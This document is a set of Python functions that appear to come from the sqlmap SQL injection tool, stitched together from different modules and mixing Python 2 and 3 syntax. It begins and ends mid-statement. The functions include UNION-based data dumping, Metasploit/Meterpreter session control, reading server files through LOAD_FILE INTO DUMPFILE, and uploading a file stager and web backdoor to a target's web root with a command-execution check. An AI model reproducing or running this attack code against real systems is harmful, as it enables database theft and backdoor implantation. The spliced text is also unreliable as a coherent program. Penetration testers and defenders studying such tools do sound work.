PAYLOAD.WHERE.NEGATIVE or \ (dump and (conf.limitStart or conf.limitStop))) and \ " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \ and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.isDbms(DBMS.ORACLE): limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): stopLimit += startLimit untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: startLimit = conf.limitStart - 1 if conf.limitStop: stopLimit = conf.limitStop # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] output = _oneShotUnionUse(countedExpression, unpack) count = parseUnionPage(output) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and (not isinstance(count, basestring) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif not count or int(count) == 0: if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value threadData = getCurrentThreadData() threadData.shared.limits = iter(xrange(startLimit, stopLimit)) numThreads = min(conf.threads, (stopLimit - startLimit)) threadData.shared.value = BigArray() if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def unionThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limits: try: num = threadData.shared.limits.next() except StopIteration: break if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif Backend.isDbms(DBMS.ORACLE): field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = _oneShotUnionUse(limitedExpr, unpack, True) if not kb.threadContinue: break if output: if all(map(lambda x: x in output, [kb.chars.start, kb.chars.stop])): items = parseUnionPage(output) if isNoneValue(items): continue with kb.locks.value: for item in arrayizeValue(items): threadData.shared.value.append(item) else: items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo): status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))))) if len(status) > width: status = "%s..." % status[:width - 3] dataToStdout("%s\r\n" % status, True) runThreads(numThreads, unionThread) if conf.verbose == 1: clearConsoleLine(True) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) # full union doesn't play well with ORDER BY value = _oneShotUnionUse(expression, unpack) duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) logger.debug(debugMsg) return value
def _controlMsfCmd(self, proc, func): initialized = False start_time = time.time() stdin_fd = sys.stdin.fileno() while True: returncode = proc.poll() if returncode is None: # Child hasn't exited yet pass else: logger.debug("connection closed properly") return returncode try: if IS_WIN: timeout = 3 inp = "" _ = time.time() while True: if msvcrt.kbhit(): char = msvcrt.getche() if ord(char) == 13: # enter_key break elif ord(char) >= 32: # space_char inp += char if len(inp) == 0 and (time.time() - _) > timeout: break if len(inp) > 0: try: send_all(proc, inp) except (EOFError, IOError): # Probably the child has exited pass else: ready_fds = select.select([stdin_fd], [], [], 1) if stdin_fd in ready_fds[0]: try: send_all(proc, blockingReadFromFD(stdin_fd)) except (EOFError, IOError): # Probably the child has exited pass out = recv_some(proc, t=.1, e=0) blockingWriteToFD(sys.stdout.fileno(), getBytes(out)) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") pwnBofCond &= any(_ in out for _ in (b"Starting the payload handler", b"Started reverse")) # For --os-smbrelay smbRelayCond = b"Server started" in out if pwnBofCond or smbRelayCond: func() timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: match = re.search(b"Meterpreter session ([\\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) if "shell" in self.payloadStr: send_all(proc, "whoami\n" if Backend.isOs(OS.WINDOWS) else "uname -a ; id\n") time.sleep(2) initialized = True elif timeout: proc.kill() errMsg = "timeout occurred while attempting " errMsg += "to open a remote session" raise SqlmapGenericException(errMsg) if conf.liveTest and timeout: if initialized: send_all(proc, "exit\n") time.sleep(2) else: proc.kill() except select.error as ex: # Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f if ex.args[0] == errno.EINTR: continue else: return proc.returncode except (EOFError, IOError): return proc.returncode except KeyboardInterrupt: pass
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_PLATFORM, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_PLATFORM.ASP if Backend.isOs( OS.WINDOWS) else WEB_PLATFORM.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webPlatform = choices[int(choice) - 1] break if not kb.absFilePaths: message = "do you want sqlmap to further try to " message += "provoke the full path disclosure? [Y/n] " if readInput(message, default='Y', boolean=True): headers = {} been = set([conf.url]) for match in re.finditer( r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): url = "%s%s" % (conf.url.replace( conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers, _ = Request.queryPage( value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] elif headers and HTTP_HEADER.SET_COOKIE in headers: cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: value = re.sub( r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(OrderedSet(directories)) path = _urllib.parse.urlparse(conf.url).path or '/' path = re.sub(r"/[^/]*\.\w+\Z", '/', path) if path != '/': _ = [] for directory in directories: _.append(directory) if not directory.endswith(path): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform) backdoorContent = getText( decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform))) stagerContent = getText( decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join( ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath( directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = _urllib.parse.urljoin( self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join( ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with openFile(filename, "w+b") as f: _ = getText( decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) _ = _.replace( SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = _urllib.parse.urljoin( self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webPlatform == WEB_PLATFORM.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult( EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult( VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webPlatform == WEB_PLATFORM.ASP: match = re.search( r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace( SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace( SHELL_RUNCMD_EXE_TAG, _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join( paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join( ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join( ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break
def update(): if not conf.updateAll: return success = False if TYPE == "pip": infoMsg = "updating sqlmap to the latest stable version from the " infoMsg += "PyPI repository" logger.info(infoMsg) debugMsg = "sqlmap will try to update itself using 'pip' command" logger.debug(debugMsg) dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) output = "" try: process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) pollProcess(process, True) output, _ = process.communicate() success = not process.returncode except Exception as ex: success = False output = getSafeExString(ex) finally: output = getText(output) if success: logger.info( "%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult( r"\binstalled sqlmap-(?P<result>\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P<result>\d+\.\d+\.\d+)\)", output))) else: logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip()) elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository " warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.warn(warnMsg) if VERSION == getLatestRevision(): logger.info("already at the latest revision '%s'" % getRevisionNumber()) return message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" if readInput(message, default='N', boolean=True): directory = os.path.abspath(paths.SQLMAP_ROOT_PATH) try: open(os.path.join(directory, "sqlmap.py"), "w+b") except Exception as ex: errMsg = "unable to update content of directory '%s' ('%s')" % ( directory, getSafeExString(ex)) logger.error(errMsg) else: attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode for wildcard in ('*', ".*"): for _ in glob.glob(os.path.join(directory, wildcard)): try: if os.path.isdir(_): shutil.rmtree(_) else: os.remove(_) except: pass if glob.glob(os.path.join(directory, '*')): errMsg = "unable to clear the content of directory '%s'" % directory logger.error(errMsg) else: try: archive = _urllib.request.urlretrieve(ZIPBALL_PAGE)[0] with zipfile.ZipFile(archive) as f: for info in f.infolist(): info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename) if info.filename: f.extract(info, directory) filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") if os.path.isfile(filepath): with openFile(filepath, "rb") as f: version = re.search( r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1) logger.info( "updated to the latest version '%s#dev'" % version) success = True except Exception as ex: logger.error("update could not be completed ('%s')" % getSafeExString(ex)) else: if not success: logger.error("update could not be completed") else: try: os.chmod(os.path.join(directory, "sqlmap.py"), attrs) except OSError: logger.warning( "could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py")) else: infoMsg = "updating sqlmap to the latest development revision from the " infoMsg += "GitHub repository" logger.info(infoMsg) debugMsg = "sqlmap will try to update itself using 'git' command" logger.debug(debugMsg) dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) output = "" try: process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) pollProcess(process, True) output, _ = process.communicate() success = not process.returncode except Exception as ex: success = False output = getSafeExString(ex) finally: output = getText(output) if success: logger.info("%s the latest revision '%s'" % ("already at" if "Already" in output else "updated to", getRevisionNumber())) else: if "Not a git repository" in output: errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository " errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.error(errMsg) else: logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", output).strip()) if not success: if IS_WIN: infoMsg = "for Windows platform it's recommended " infoMsg += "to use a GitHub for Windows client for updating " infoMsg += "purposes (https://desktop.github.com/) or just " infoMsg += "download the latest snapshot from " infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" else: infoMsg = "for Linux platform it's recommended " infoMsg += "to install a standard 'git' package (e.g.: 'apt install git')" logger.info(infoMsg)
def connect(self, who="server"): self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None) self.cursor = self.connection.cursor() logger.debug("REST-JSON API %s connected to IPC database" % who)
def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " debugMsg += "'%s' into support table" % rFile logger.debug(debugMsg) inject.goStacked( "LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " warnMsg += "file '%s'" % rFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): warnMsg += ", going to fall-back to simpler UNION technique" logger.warn(warnMsg) result = self.nonStackedReadFile(rFile) else: raise SqlmapNoneDataException(warnMsg) else: length = int(length) sustrLen = 1024 if length > sustrLen: result = [] for i in xrange(1, length, sustrLen): chunk = inject.getValue( "SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) return result
def getPage(**kwargs): """ This method connects to the target URL or proxy and returns the target URL page content """ if isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) elif conf.cpuThrottle: cpuThrottle(conf.cpuThrottle) if conf.dummy: return randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256) ]), {}, int(randomInt()) threadData = getCurrentThreadData() with kb.locks.request: kb.requestCounter += 1 threadData.lastRequestUID = kb.requestCounter url = kwargs.get("url", None) or conf.url get = kwargs.get("get", None) post = kwargs.get("post", None) method = kwargs.get("method", None) cookie = kwargs.get("cookie", None) ua = kwargs.get("ua", None) or conf.agent referer = kwargs.get("referer", None) or conf.referer host = kwargs.get("host", None) or conf.host direct_ = kwargs.get("direct", False) multipart = kwargs.get("multipart", False) silent = kwargs.get("silent", False) raise404 = kwargs.get("raise404", True) timeout = kwargs.get("timeout", None) or conf.timeout auxHeaders = kwargs.get("auxHeaders", None) response = kwargs.get("response", False) ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout refreshing = kwargs.get("refreshing", False) retrying = kwargs.get("retrying", False) crawling = kwargs.get("crawling", False) skipRead = kwargs.get("skipRead", False) if not urlparse.urlsplit(url).netloc: url = urlparse.urljoin(conf.url, url) # flag to know if we are dealing with the same target host target = reduce( lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, conf.url or ""])) if not retrying: # Reset the number of connection retries threadData.retriesCount = 0 # fix for known issue when urllib2 just skips the other part of provided # url splitted with space char while urlencoding it in the later phase url = url.replace(" ", "%20") conn = None code = None page = None _ = urlparse.urlsplit(url) requestMsg = u"HTTP request [#%d]:\n%s " % ( threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET)) requestMsg += ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any( (refreshing, crawling)) else url responseMsg = u"HTTP response " requestHeaders = u"" responseHeaders = None logHeaders = u"" skipLogTraffic = False raise404 = raise404 and not kb.ignoreNotFound # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't # support those by default url = asciifyUrl(url) # fix for known issues when using url in unicode format # (e.g. UnicodeDecodeError: "url = url + '?' + query" in redirect case) url = unicodeencode(url) try: socket.setdefaulttimeout(timeout) if direct_: if '?' in url: url, params = url.split('?', 1) params = urlencode(params) url = "%s?%s" % (url, params) requestMsg += "?%s" % params elif multipart: # Needed in this form because of potential circle dependency # problem (option -> update -> connect -> option) from lib.core.option import proxyHandler multipartOpener = urllib2.build_opener( proxyHandler, multipartpost.MultipartPostHandler) conn = multipartOpener.open(unicodeencode(url), multipart) page = Connect._connReadProxy(conn) if not skipRead else None responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() page = decodePage( page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) return page elif any((refreshing, crawling)): pass elif target: if conf.forceSSL and urlparse.urlparse(url).scheme != "https": url = re.sub("\Ahttp:", "https:", url, re.I) url = re.sub(":80/", ":443/", url, re.I) if PLACE.GET in conf.parameters and not get: get = conf.parameters[PLACE.GET] if not conf.skipUrlEncode: get = urlencode(get, limit=True) if get: url = "%s?%s" % (url, get) requestMsg += "?%s" % get if PLACE.POST in conf.parameters and not post and method in ( None, HTTPMETHOD.POST): post = conf.parameters[PLACE.POST] elif get: url = "%s?%s" % (url, get) requestMsg += "?%s" % get requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str # Prepare HTTP headers headers = forgeHeaders({ HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer }) if kb.authHeader: headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader if kb.proxyAuthHeader: headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE headers[ HTTP_HEADER. ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" headers[HTTP_HEADER.HOST] = host or getHostHeader(url) if post is not None and HTTP_HEADER.CONTENT_TYPE not in headers: headers[ HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get( kb.postHint, DEFAULT_CONTENT_TYPE) if headers.get( HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[ POST_HINT.MULTIPART]: warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE warnMsg += "Will try to reconstruct" singleTimeWarnMessage(warnMsg) boundary = findMultipartPostBoundary(conf.data) if boundary: headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % ( headers[HTTP_HEADER.CONTENT_TYPE], boundary) if auxHeaders: for key, item in auxHeaders.items(): for _ in headers.keys(): if _.upper() == key.upper(): del headers[_] headers[key] = item for key, item in headers.items(): del headers[key] headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode( item, kb.pageEncoding) post = unicodeencode(post, kb.pageEncoding) if method: req = MethodRequest(url, post, headers) req.set_method(method) else: req = urllib2.Request(url, post, headers) requestHeaders += "\n".join( "%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in req.header_items()) if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) cookies = conf.cj._cookies_for_request(req) requestHeaders += "\n%s" % ("Cookie: %s" % ";".join( "%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) if post is not None: if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH): requestHeaders += "\n%s: %d" % (string.capwords( HTTP_HEADER.CONTENT_LENGTH), len(post)) if not getRequestHeader(req, HTTP_HEADER.CONNECTION): requestHeaders += "\n%s: close" % HTTP_HEADER.CONNECTION requestMsg += "\n%s" % requestHeaders if post is not None: requestMsg += "\n\n%s" % getUnicode(post) requestMsg += "\n" threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) conn = urllib2.urlopen(req) if not kb.authHeader and getRequestHeader( req, HTTP_HEADER.AUTHORIZATION) and conf.authType.lower( ) == AUTH_TYPE.BASIC.lower(): kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) if not kb.proxyAuthHeader and getRequestHeader( req, HTTP_HEADER.PROXY_AUTHORIZATION): kb.proxyAuthHeader = getRequestHeader( req, HTTP_HEADER.PROXY_AUTHORIZATION) # Return response object if response: return conn, None, None # Get HTTP response if hasattr(conn, 'redurl'): page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\ else Connect._connReadProxy(conn)) if not skipRead else None skipLogTraffic = kb.redirectChoice == REDIRECTION.NO code = conn.redcode else: page = Connect._connReadProxy(conn) if not skipRead else None code = code or conn.code responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() page = decodePage( page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) status = getUnicode(conn.msg) if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing: url = extractRegexResult(META_REFRESH_REGEX, page) debugMsg = "got HTML meta refresh header" logger.debug(debugMsg) if kb.alwaysRefresh is None: msg = "sqlmap got a refresh request " msg += "(redirect like response common to login pages). " msg += "Do you want to apply the refresh " msg += "from now on (or stay on the original page)? [Y/n]" choice = readInput(msg, default="Y") kb.alwaysRefresh = choice not in ("n", "N") if kb.alwaysRefresh: if url.lower().startswith('http://'): kwargs['url'] = url else: kwargs['url'] = conf.url[:conf.url.rfind('/') + 1] + url threadData.lastRedirectMsg = (threadData.lastRequestUID, page) kwargs['refreshing'] = True kwargs['get'] = None kwargs['post'] = None try: return Connect._getPageProxy(**kwargs) except SqlmapSyntaxException: pass # Explicit closing of connection object if not conf.keepAlive: try: if hasattr(conn.fp, '_sock'): conn.fp._sock.close() conn.close() except Exception, msg: warnMsg = "problem occurred during connection closing ('%s')" % msg logger.warn(warnMsg) except urllib2.HTTPError, e: page = None responseHeaders = None try: page = e.read() if not skipRead else None responseHeaders = e.info() responseHeaders[URI_HTTP_HEADER] = e.geturl() page = decodePage( page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % e.code logger.warn(warnMsg) return None, None, None except KeyboardInterrupt: raise except: pass finally: page = page if isinstance(page, unicode) else 